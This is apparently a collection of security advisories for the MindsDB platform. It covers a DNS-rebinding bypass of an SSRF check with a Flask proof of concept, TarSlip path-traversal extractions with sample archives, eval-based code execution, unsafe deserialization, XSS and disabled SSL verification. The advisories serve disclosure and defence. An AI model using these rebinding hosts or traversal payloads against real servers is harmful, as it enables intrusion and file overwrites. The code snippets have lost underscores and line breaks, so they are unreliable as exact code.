Summary
DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:
python def isprivateurl(url: str): """ Raises exception if url is private
:param url: url to check """
hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) return ipaddress.ipaddress(ip).isprivate
As you can see, during the call to isprivateurl() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.
PoC
python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests
app = Flask(name)
def isprivateurl(url: str): """ Raises exception if url is private
:param url: url to check """
hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url return True ip = socket.gethostbyname(hostname) if ipaddress.ipaddress(ip).isprivate: raise Exception(f"Private IP address found for {url}")
@app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/checkprivateurl?url=https://www.google.Fr"
@app.route("/checkprivateurl", methods=["GET"]) def checkprivateurl(): url = request.args.get("url")
if not url: return jsonify({"error": 'Missing "url" parameter'}), 400
try: isprivateurl(url) response = requests.get(url)
return jsonify( { "url": url, "isprivate": False, "text": response.text, "statuscode": response.statuscode, } ) except Exception as e: return jsonify({"url": url, "isprivate": True, "error": str(e)})
if name == "main": app.run(debug=True)
After running the poc.py with flask installed, consider visiting the following URLs:
1. http://127.0.0.1:5000/checkprivateurl?url=https://www.example.com since it is in the public space, you would get isprivate: false and the GET request would be issued to the www.Example.com website. 3. http://127.0.0.1:5000/checkprivateurl?url=http://localhost:8667, this one the address is private, you would get isprivate: true 4. http://127.0.0.1:5000/checkprivateurl?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.
I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:
{ "isprivate": false, "statuscode": 200, "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" }
Impact - Bypass the SSRF protection on the whole website with DNS Rebinding. - DoS too.
A cross-site scripting (XSS) vulnerability exists in all versions of the MindsDB platform, enabling the execution of a JavaScript payload whenever a user enumerates an ML Engine, database, project, or dataset containing arbitrary JavaScript code within the web UI.
Summary MindsDB's AI Virtual Database allows developers to connect any AI/ML model to any datasource. Prior to version 23.7.4.0, a call to requests with verify=False disables SSL certificate checks. This rule enforces always verifying SSL certificates for methods in the Requests library. In version 23.7.4.0, certificates are validated by default, which is the desired behavior
Encryption in general is typically critical to the security of many applications. Using TLS can significantly increase security by guaranteeing the identity of the party you are communicating with. This is accomplished by one or both parties presenting trusted certificates during the connection initialization phase of TLS.
It is important to note that modules such as httplib within the Python standard library did not verify certificate chains until it was fixed in 2.7.9 release.
Details Severity: Critical
Summary
An unsafe extraction is being performed using shutil.unpackarchive() from a remotely retrieved tarball. Which may lead to the writing of the extracted files to an unintended location. This vulnerability is sometimes called a TarSlip or a ZipSlip variant.
Details
Unpacking files using the high-level function shutil.unpackarchive() from a potentially malicious tarball without validating that the destination file path remained within the intended destination directory may cause files to be overwritten outside the destination directory.
As can be seen in the vulnerable snippet code source, an archive is being retrieved using the downloadfile() function from a remote location which is a user-provided permanent storage bucket s3. Immediately after being retrieved, the tarball is unsafely unpacked using the function shutil.unpackarchive().
The vulnerable code is L128..L129 in fs.py file.
python3 def init(self): super().init() if 's3credentials' in self.config['permanentstorage']: self.s3 = boto3.client('s3', self.config['permanentstorage']['s3credentials']) else: self.s3 = boto3.client('s3') # User provided remote storage! self.bucket = self.config['permanentstorage']['bucket']
def get(self, localname, basedir): remotename = localname remotezipedname = f'{remotename}.tar.gz' localzipedname = f'{localname}.tar.gz' localzipedpath = os.path.join(basedir, localzipedname) os.makedirs(basedir, existok=True) # Retrieve a potentially malicious tarball self.s3.downloadfile(self.bucket, remotezipedname, localzipedpath)
# Perform an unsafe extraction shutil.unpackarchive(localzipedpath, basedir)
os.system(f'chmod -R 777 {basedir}') os.remove(localzipedpath)
PoC
The following PoC is provided for illustration purposes only. It showcases the risk of extracting a non-harmless text file sim4n6.txt to one of the parent locations rather than the intended current folder.
bash tar --list -f archive.tar tar: Removing leading "../../../" from member names ../../../sim4n6.txt
python3 Python 3.10.6 (main, Nov 2 2022, 18:53:38) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >> import shutil >> shutil.unpackarchive("archive.tar") >> exit()
test -f ../../../sim4n6.txt && echo "sim4n6.txt exists" sim4n6.txt exists
Attack Scenario
An attacker could craft a malicious tarball with a filename path, such as ../../../../../../../../etc/passwd, and then serve the archive remotely using a personal bucket s3, thus, retrieve the tarball through mindsdb and overwrite the system files of the hosting server.
Mitigation
Potential mitigation could be to: - Use a safer module, like zipfile. - Validate the location of the extracted files and discard those with malicious paths such as relative path .. or absolute path such as /etc/password. - Perform a checksum verification for the retrieved archive, but hard-coding the hashes may be cumbersome and difficult to manage.
An arbitrary code execution vulnerability exists in versions 23.10.5.0 up to 24.7.4.1 of the MindsDB platform, when the Microsoft SharePoint integration is installed on the server. For databases created with the SharePoint engine, an ‘INSERT’ query can be used for list creation. If such a query is specially crafted to contain Python code and is run against the database, the code will be passed to an eval function and executed on the server.
An arbitrary code execution vulnerability exists in versions 23.11.4.2 up to 24.7.4.1 of the MindsDB platform, when one of several integrations is installed on the server. If a specially crafted ‘UPDATE’ query containing Python code is run against a database created with the specified integration engine, the code will be passed to an eval function and executed on the server.
An arbitrary code execution vulnerability exists in versions 23.10.3.0 up to 24.7.4.1 of the MindsDB platform, when the Weaviate integration is installed on the server. If a specially crafted ‘SELECT WHERE’ clause containing Python code is run against a database created with the Weaviate engine, the code will be passed to an eval function and executed on the server.
An arbitrary code execution vulnerability exists in versions 23.12.4.0 up to 24.7.4.1 of the MindsDB platform, when the ChromaDB integration is installed on the server. If a specially crafted ‘INSERT’ query containing Python code is run against a database created with the ChromaDB engine, the code will be passed to an eval function and executed on the server.
Deserialization of untrusted data can occur in versions 23.3.2.0 and newer of the MindsDB platform, enabling a maliciously uploaded model to run arbitrary code on the server when interacted with.
An arbitrary code execution vulnerability exists in versions 23.10.5.0 up to 24.7.4.1 of the MindsDB platform, when the Microsoft SharePoint integration is installed on the server. For databases created with the SharePoint engine, an ‘INSERT’ query can be used for list item creation. If such a query is specially crafted to contain Python code and is run against the database, the code will be passed to an eval function and executed on the server.
An arbitrary code execution vulnerability exists in versions 23.10.5.0 up to 24.7.4.1 of the MindsDB platform, when the Microsoft SharePoint integration is installed on the server. For databases created with the SharePoint engine, an ‘INSERT’ query can be used for site column creation. If such a query is specially crafted to contain Python code and is run against the database, the code will be passed to an eval function and executed on the server.
Summary
An unsafe extraction is being performed using tarfile.extractall() from a remotely retrieved tarball. Which may lead to the writing of the extracted files to an unintended location. Sometimes, the vulnerability is called a TarSlip or a ZipSlip variant.
Details
I commented the following snippet of code as a vulnerability details. The code is from file.py#L26..L134
python @nsconf.route('/<name>') @nsconf.param('name', "MindsDB's name for file") class File(Resource): @nsconf.doc('putfile') def put(self, name: str): ''' add new file params in FormData: - file - originalfilename [optional] '''
data = {}
... omitted for brevity
url = data['source'] data['file'] = data['name']
... omitted for brevity
with requests.get(url, stream=True) as r: # Source: retrieve the URL which point to a remotely located tarball if r.statuscode != 200: return httperror( 400, "Error getting file", f"Got status code: {r.statuscode}" ) filepath = os.path.join(tempdirpath, data['file']) with open(filepath, 'wb') as f: for chunk in r.itercontent(chunksize=8192): # write with chunks the remote retrieved file into filepath location f.write(chunk)
originalfilename = data.get('originalfilename')
filepath = os.path.join(tempdirpath, data['file']) lp = filepath.lower() if lp.endswith(('.zip', '.tar.gz')): if lp.endswith('.zip'): with zipfile.ZipFile(filepath) as f: f.extractall(tempdirpath) elif lp.endswith('.tar.gz'): with tarfile.open(filepath) as f: # Just after f.extractall(tempdirpath) # Sink: the tarball located by filepath is supposed to be extracted to tempdirpath.
So, a remotely available tarball is being retrieved and written to the server filesystem in chunks, and then, if the extension ends with .tar.gz of a compressed tarball, the mindsdb app applies tarfile.extractall() directly with no checks for the destination.
However, according to the following warning from the official documentation;
Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with "/" or filenames with two dots "..".
PoC
The following PoC is provided for illustration purposes only. It showcases the risk of extracting a non-harmless text file sim4n6.txt to one of the parent locations rather than the intended current folder.
bash tar --list -v -f archive.tar.gz tar: Removing leading "../../../" from member names ../../../sim4n6.txt
python3 Python 3.10.6 (main, Nov 2 2022, 18:53:38) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >> import tarfile >> with tarfile.open("archive.tar.gz") as tf: >> tf.extractall() >> exit()
test -f ../../../sim4n6.txt && echo "sim4n6.txt exists" sim4n6.txt exists
Attack Scenario
An attacker could craft a malicious tarball with a filename path, such as ../../../../../../../../etc/passwd, and then serve the archive remotely, proceed to the PUT request of the tarball through mindsdb and overwrite the system files of the hosting server for instance.
Mitigation
Potential mitigation could be to: - Use a safer module, like zipfile. - Use an alternative of tarfile, such as tarsafe. - Validate the location or the absolute path of the extracted files and discard those with malicious paths such as relative path ../../.. or absolute path such as /etc/password. A simple wrapper could be written to raise an exception when a path traversal may be identified.
This is similar to the other report GHSA-7x45-phmr-9wqp.
Deserialization of untrusted data can occur in versions 23.10.2.0 and newer of the MindsDB platform, enabling a maliciously uploaded ‘inhouse’ model to run arbitrary code on the server when using ‘finetune’ on it.
Deserialization of untrusted data can occur in versions 23.10.3.0 and newer of the MindsDB platform, enabling a maliciously uploaded ‘inhouse’ model to run arbitrary code on the server when a ‘describe’ query is run on it.
Deserialization of untrusted data can occur in versions 23.10.2.0 and newer of the MindsDB platform, enabling a maliciously uploaded ‘inhouse’ model to run arbitrary code on the server when used for a prediction.